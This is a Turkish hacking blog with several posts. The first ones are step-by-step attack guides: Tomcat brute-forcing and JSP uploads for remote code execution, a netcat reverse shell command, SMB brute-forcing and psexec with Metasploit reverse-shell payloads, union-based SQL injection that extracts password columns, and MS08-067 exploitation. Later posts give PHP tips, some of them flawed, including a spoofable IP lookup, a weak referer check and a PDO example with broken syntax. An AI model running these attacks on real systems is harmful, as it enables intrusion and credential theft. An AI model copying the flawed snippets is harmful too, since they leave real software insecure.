Çarşamba, Temmuz 28

Tomcat 8080-8180 Port Saldırısı


Tomcat 8080/8180 portunda çalışan TCP bazlı bir servisdir.Tomcat saldırıları genelde küçük wordlistlerle gerçekleştirilir.Çünkü Tomcat servisi 15-20 giriş denemesinden sonra kendini 3-5 dakika arası kitler.

Bu yüzden Tomcat servisine manuel kaba kuvvet saldırısı yapmak en mantıklısıdır. Tomcat servisine tarayıcı üzerinden erişilir. Herhangi bir yol ile Tomcat giriş bilgilerine eriştiğimiz bir sisteme .jsp uzantılı dosyalar yüklenebilir.

Bu dosyalar ile uzaktan kod yürütme işlemi gerçekleştirilebilir. Bu dosyalara Github’dan rahatlıkla erişim sağlayabilirsiniz.

Bir örnek vermek gerekirse Uzaktan Kod Yürütme ile kendimize bir Netcat Shell bağlantısı alabiliriz.

terminali açıp şu komutu gireriz:
nc -l -v -p 4444

Uzaktaki komut satırımıza da şu komutu veriyoruz
nc -e bin/bash “ip adresi” 4444 
Ve böylelikle hedefin komut satırında istediğimiz komutları çalıştırabiliriz.(www.sechunterz.pw)
>

SMB(microsoft-ds) SALDIRILARI


SMB servisi 445.port üzerinde çalışan TCP bazlı bir servistir.Bugün anlatacağımız saldırı yöntemi bu servis üzerine brute force yapılmasıdır.Önümüzdeki makalelerde bu servise yönelik daha üst düzey saldırıları anlatacağız. Brute force saldırısını msfconsole üzerinden auxilary ile gerçekleştireceğiz.

use auxilary/scanner/smb/smb_login yazarak auxilarye geçiş yapıyoruz.
show options diyerek auxilary’nin bizden ne istediğini görüyoruz ve set komutu ile dolduruyoruz. Sistemde bildiğimiz bir SMBUSER yoksa Administrator olarak saldırımızı gerçekleştirebiliriz.
set pass_file “wordlist yolu”
set STOP_ON_SUCCESS true yazarak doğru loginleri bulduğunda saldırının durmasını sağlıyoruz.
run diyerek saldırıyı başlatıyoruz. Saldırının başarılı gerçekleştiğini varsayarak devam ediyoruz.”winexe aracını kullanarak bu servise bağlantı sağlayabiliriz.
winexe –user=Administrator%şifre //hedef sistem ip adresi ‘erişmek istediğimiz komut satırı(cmd)’
Bu şekilde hedef sisteme bağlantı sağlayabiliriz.Aynı işlemi msfconsole üzerinden de gerçekleştirebiliriz.
use exploit/windows/smb/psexec
show options diyerek istenenleri dolduruyoruz (set komutu ile)
set payload payload windows/shell/reverse_tcp yazarak sisteme payload atıyoruz.
show options diyerek payloadın bizden istediklerini dolduruyoruz.
run diyerek işlemi başlatıyoruz ve komut satırına erişim sağlıyoruz.
Eğer sistemde oturum açılmaz ise bunun nedeni payloadın mimarisinden kaynaklanıyor olabilir. x32 veyahut x64 payload bir payload vererek aynı işlemleri gerçekleştirip devam edebilirsiniz


SMB Sign Özelliğinden Faydalanmak:
SMB_SİGN özelliği mesaj bloklarında görülen bir imza özelliğidir.Özelliğin sistem yöneticisi tarafından açılmaması durumunda çeşitli(www.sechunterz.pw)yönlendirmelerle hedef sistemde Man İn The Middle(Ortadaki Adam) gerçekleştirilebilir. Sistemde bu özelliğin aktif olup olmadığını “Runfinger” adlı tool ile öğrenebiliriz.
usr/share/responder/tools/Runfinger.py -i hedef ip adresi
Bu toolun çalışma mantığı şöyledir: Bir ip adresi verilir ve bu tool sistemde çalışan tüm cihazların SİGN özelliğini kontrol eder.Cihazların SİGN özelliği FALSE ise yapacağımız saldırı olumlu sonuç verecektir.Bu saldırıyı önümüzdeki makalelerde detaylı şekilde anlatacağız.

Salı, Temmuz 27

Kör Sql Injection (Blind)

Kör Sql Injection Nedir? (Blind)
1=0 1=2 4=3 gibi eşitlik olmayan değerler verildiğinde sitenin verdiği hata ya da sayfadaki değişmelere dayanarak işleme devam eder.
www.test.com/test.php?id=1'and 1=2
Bu url 1=2 şeklinde bir eşitlik false olduğundan hata verecek ya da sayfadaki değişimler sonucunda bilği verecektir.

Kolon Sayısı Tespiti
Kolon Sayısını Bulurken Sayfa Değişkliğini Kullanacağız. And "1=1" Order+By Order+By+1 Sondaki Sayıyı +1 Şeklinde Birer
Birer(www.sechunterz.pw)Artırıyoruz Sayfa Değişinceye Kadar.Burada Kolon Sayısını Hangi Sayıda Sayfa Değiştiğinden Anlayacağız.
www.test.com/test.php?id=1+and+1=1+order+by+1
Sorgu Oluşturma
Burada 1=1 Eşitlik Yerine 1=0 Eşitsizliği Kullanacaz.1=0' sonra "union+select+0,1,2,3" Yazıyoruz.2 Numarayı Kullanacağız
www.test.com/test.php?id=1+and+1=0+union+select+0,1,2,3
Tablo Çekimi
Tablo Çekimi İçin 2 Numaralı Kolon Sayısını Kullancaz
www.test.com/test.php?id=1+and+1=1+union+select+0,1,group_concat(table_name),3+from+test_db.tables
Tablo Veri Çekimi
Normal Sql Gibi Bunuda Öyle Yapacağız Ama Tablo Adını Hexleme Yapmamız Gerektir Ben Örnek Olarak securityTablosunu Çekcem Ve Bunun Hex(www.sechunterz.pw)Değerine Bakalım "68616b616e6e" Burdan Rahatca Bakabilirsiniz
www.test.com/test.php?id=1+and+1=1+union+select+0,1,group_concat(column_name),3+from+test_db.columns+where+table_name='68616b616e6e'
Kolon Veri Çekimi
security Tablosundan Tel Ve Şifre Kolonları Çıktı. Tel Ve Şifre Kolonlarının Değerlerini Öğrenelim.(www.sechunterz.pw)Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.
www.test.com/test.php?id=1+and+1=1+union+select+0,1,concat(Tel,0x3a,Şifre),3+from+security
www.sechunterz.pw

MS08-067 Zafiyeti Ve Sömürülmesi


Genelde 2000li windows Serverlarda ve xp makinalarda bulunur.
SMB üzerine yazılmış bir exploittir.
Bu zafiyeti tespit etmek için sistem üzerine bilindik bir nmap taraması yapabiliriz.

usr/share/nmap/scripts/
-ls | grap “ms08”
karşımıza çıkan scripti kopyalıyoruz ve
nmap –scripts script adı ip adresi -p445 ile(www.sechunterz.pw)sistemde tarama yaptırıyoruz ve zafiyetin olduğunu gözlemliyoruz.
daha sonra msfconsole’dan
use exploit/windows/smb/ms08_067_netapi
set payload windows/shell/reverse_tcp
Gerekli tüm ayarlamaları yaptıktan sonra run diyerek exploiti başlatıyoruz.

Mail Atıp Site Açık Bildirmek İçin İzlenmesi Gereken Yollar

Bir açığı mail atıcaksanız izlemeniz gereken yollar
1 - Açık türünü yazın
2 - açık türünden bir senaryo yazın
Örenk sql ise veri çekilme xss ise pshing )
3 - açığın nasıl kapayacaklarını yazın
4 - btc cüzdan koyun destek için btc ata bilirsiniz gibi
Chp sitesini subunda bulunan xss açığını bildirdim karşılığında 4$ gibi bir para aldım

Pazar, Temmuz 25

Web Shell Detector


FTP dosyalarınızın içinde php shell olduğundan şüphe ediyorsunuz ?

ancak bunu manuel olarak bulmanın imkanı neredeyse imkansız ve yorucu,

ayrıca zaman alan birşey. Bu paylaşacağımız php dosyasını FTP ana dizine yükleyiniz ve çalıştırın,

FTP de ne var yok tüm zararlıları tespit edip size bildirecektir,

size ise bu shelleri silmek düşer okadar basit.

 https://github.com/emposha/PHP-Shell-Detector

Cumartesi, Temmuz 24

PHP Ziyaretçinin Ip Adresini Alma








 

Çoğu zaman, etkinliği izlemek ve güvenlik nedeniyle ziyaretçinin IP adresini toplamamız gerekir. PHP'de ziyaretçinin IP adresini bulmak çok kolaydır. PHP $ _SERVER değişkeni, kullanıcının IP adresini almanın kolay bir yolunu sağlar.

Ziyaretçinin IP adresini almanın en basit yolu PHP'deki REMOTE_ADDR'yi kullanmaktır.


$ _SERVER ['REMOTE_ADDR'] - Geçerli sayfayı görüntüleyen kullanıcının IP adresini döndürür.

echo 'Kullanıcı IP - '.$_SERVER['REMOTE_ADDR'];


Ancak bazen REMOTE_ADDR, kullanıcının doğru IP adresini döndürmez. Bunun arkasındaki nedeni Proxy kullanmaktır. Bu durumda, PHP'deki kullanıcının gerçek IP adresini almak için aşağıdaki kodu kullanın.


function ipgetir(){


    if(!empty($_SERVER['HTTP_CLIENT_IP'])){

        //ip from share internet

        $ip = $_SERVER['HTTP_CLIENT_IP'];

    }elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){

        //ip pass from proxy

        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

    }else{

        $ip = $_SERVER['REMOTE_ADDR'];

    }

    return $ip;


}


echo 'Kullanıcı Gerçek IP - '.ipgetir();

PHP Hata Gösterme Gizleme




 

PHP hataları genellikle sunucu tarafındaki bir ayarla kapatılır ancak geliştirme aşamasında bazen bu hataları görmek veya gizlemek gerekebilir.

Kodumuzu php satırlarının en başına yada bütün dosyaların etkilenmesini istiyorsak config dosyamız var ise ona ekleyebiliriz.


PHP Hata Gizleme Kodu

error_reporting(0);


PHP Tüm Hataları Gösterme Kodu

error_reporting(E_ALL);

PHP Dışardan İzinsiz Gelen POST ve GET'leri Engelleme


 

Merhabalar sitenize farklı sitelerden gelecek post ve getleri engellemek istiyorsanız vereceğim kodları kullanabilirsiniz.

Not : Bu kodları sitenizin en üst kısmına ekleyin.



$a = $_SERVER['HTTP_REFERER'];

if (strpos($a, 'http://siteadresiniz.com/') !== false) {

    $_SESSION['sitekontrol'] = 'ok';

}

function izinkontrol()

{

  

    if (empty($_SESSION['sitekontrol'])) {

        echo "İZİNSİZ ERİŞİM TALEBİ.";

        exit;

    }

  

}?>


Ardından post veya get işlemlerindeki sorgularınız da aşağıdaki kod ile fonksiyonu kullanabilirsiniz.



izinkontrol();?>

SQL Injection dan Korunma Yöntemi, Pdo Kullanımı






SQL Injection’dan Korunma(www.sechunterz.pw)

PDO’nun en sevdiğim yanı diyebilirim hemen örnek bir saldırı senaryosu oluşturalım.


MYSQL


$connect = mysql_connect("localhost","root","root");


mysql_select_db("portal",$connect);


$sql= "SELECT * FROM uyeler WHERE id = '$_GET[id]'";


$result= mysql_query($sql,$connect);


while ($row=mysql_fetch_array($result))


{


 echo $row['isim']." ";


 echo $row['soyisim']."<br />";


}


echo "<br />";


echo "çalıştırılan sorgu : ".$sql;



Yukarıda yazmış olduğumuz kod çok kolay şekilde ByPasslanmaktadır nasıl diye soracak olursanız id değerine ‘OR ‘x’=’x değerlerini girmeniz yeterli olacaktır uyeler tablosunda ki tüm kullanıcıları listeleyecektir.

PDO ile bu durumu nasıl düzeltebiliriz hemen yazalım



try {


     $db = new PDO("mysql:host=localhost;dbname=portal", "root", "root");


} catch ( PDOException $e ){


     print $e->getMessage();


}


$Gelen = $_GET["id"];


 


$Ara = $db->prepare("SELECT * FROM uyeler WHERE uyeler_id=:id");


 


$Ara->execute(array("id" => $Gelen));


 


$Liste = $Ara->fetchAll(PDO::FETCH_ASSOC);


 


if($Ara->rowCount() != "0"){


 


foreach($Liste as $Bas){


echo $Bas['uyeler_isim'];


echo $Bas['uyeler_soyisim'];


}


else


{


echo " Kullanıcı Bulunamadı";


}



PDO Candır diyerek konumu sonlandırıyorum görüşmek üzere.(www.sechunterz.pw)